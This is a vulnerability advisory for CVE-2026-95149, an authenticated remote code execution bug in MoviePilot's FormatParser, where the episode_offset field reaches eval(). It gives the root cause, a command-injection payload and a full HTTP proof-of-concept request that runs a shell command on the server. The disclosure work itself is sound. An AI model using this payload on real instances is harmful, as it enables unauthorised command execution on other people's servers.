
Proof-of-concept and root-cause analysis for CVE-2026-95149, an authenticated RCE in MoviePilot's FormatParser via eval() injection in episode_offset, with HTTP PoC and fix details.
eval() Injection in episode_offset (MoviePilot FormatParser)| Field | Value |
|---|---|
| CVE ID | CVE-2026-95149 |
| Product | MoviePilot (jxxghp/MoviePilot) |
| Affected versions | <= v3.0.0 |
| Fixed in | v3 branch — commit 65b9c777de9194e40ba29dc17345afc5b4b4b0ba |
| Severity | High |
| Attack vector | Remote, over the HTTP API |
| Privileges required | Authenticated management user (admin or management-role account) |
| User interaction | None |
| Reported | 2026-09-11 |
| Public issue | jxxghp/MoviePilot#6644 |
FormatParser accepts an arbitrary string and only branches on whether it contains "EP" — it never validates that
the remainder of the string is a well-formed arithmetic expression:
elif "EP" in offset:
self.__offset = offset
Several downstream branches then build a Python expression by textual substitution and evaluate it directly:
start_ep = self.__offset.replace("EP", str(self._start_ep))
return int(eval(start_ep)), None, self.part
The int(...) wrapper only constrains the return value of the expression; it does not prevent side effects that
occur during evaluation. Any function call, import, or attribute access embedded in the payload therefore executes
before the final value is coerced to int.
A common mitigation attempt is to multiply the payload by zero so the arithmetic result stays numeric:
EP+__import__('os').system('touch /tmp/success')*0
This still works. The side effect (spawning the command) happens during evaluation, long before the final
addition is coerced to int, so the attacker ends up with both command execution and a value that passes the
int() type check.
POST /api/v1/transfer/manual?background=false HTTP/1.1
Host: x.x.x.x
Content-Length: 814
X-MoviePilot-Locale: zh-CN
Authorization: Bearer XXXX
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
DNT: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
{
"fileitem": {
"storage": "local",
"path": "/configured/media/file.mkv",
"type": "file",
"name": "file.mkv"
},
"episode_offset": "EP+__import__('os').system('touch /tmp/success')*0"
}
On a vulnerable instance, /tmp/success is created by the MoviePilot service process. If the API call does not return
200, the int() cast will raise — but the injected command has already run, so the outcome of the request is
irrelevant to the exploit.
app/application/formatting.py (lines 102 and 184 in v3.0.0)app/api/endpoints/transfer.py:645 → app/schemas/transfer.py:302